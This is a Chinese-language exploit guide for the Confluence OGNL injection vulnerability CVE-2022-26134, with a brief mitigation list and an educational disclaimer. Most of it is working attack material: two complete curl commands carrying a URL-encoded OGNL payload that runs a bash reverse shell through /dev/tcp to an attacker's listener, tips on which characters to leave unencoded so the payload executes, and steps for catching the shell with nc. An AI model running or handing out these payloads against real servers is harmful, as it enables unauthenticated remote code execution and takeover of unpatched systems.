Confluence CVE-2022-26134 的主动利用

概述

CVE-2022-26134 是一个影响 Atlassian Confluence 的严重 远程代码执行 (RCE) 漏洞。该漏洞允许未经认证的攻击者通过向易受攻击的端点注入 OGNL 表达式来执行任意代码。

受影响版本

• 所有在补丁发布前的 Atlassian Confluence Server 和 Data Center 受支持版本。

漏洞利用详情

以下 curl 命令演示了该漏洞的主动利用，使用 Java 的 Nashorn 引擎执行反向 Shell：

curl -v http://10.0.0.28:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.28/1270%200%3E%261%27%29.start%28%29%22%29%7D/

在进行这些修改时，我们还需要考虑 URL 编码。 概念验证中的载荷字符串并未完全进行 URL 编码。某些字符（特别是 "."、"-" 和 "/"）未被编码。 虽然并非总是如此，但对于该漏洞利用而言，这对载荷的正常运行至关重要。如果这些字符中的任何一个被编码， 服务器将以不同的方式解析 URL，并且载荷可能不会执行。这意味着在修改载荷后，我们不能对整个载荷应用 URL 编码。

curl http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.118.4/4444%200%3E%261%27%29.start%28%29%22%29%7D/

载荷分解

1. ${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval(...)}
   • 使用 Java Nashorn 脚本引擎执行 OGNL 表达式。
2. new java.lang.ProcessBuilder().command('bash','-c','bash -i > /dev/tcp/10.0.0.28/1270 0>&1').start()
   • 生成一个反向 Shell，连接回 10.0.0.28:1270。

利用步骤

1. 在你的攻击机器上设置一个 监听器：
   root@kitploit:~

   nc -lvnp 1270
   

2. 执行 curl 漏洞利用命令。
3. 成功利用后，你将收到一个反向 Shell。

缓解措施

• Atlassian 已发布受影响版本的安全补丁。强烈建议立即更新到最新版本。
• 限制来自不受信任源的 Confluence 服务器的访问。
• 监控日志中是否包含可疑的 OGNL 表达式请求。

参考

• Atlassian 安全公告
• CVE-2022-26134 详情

免责声明

本文档仅供 教育目的 使用。未经授权利用系统是非法的，并可能导致严重后果。在进行安全评估之前，请务必获得适当的授权。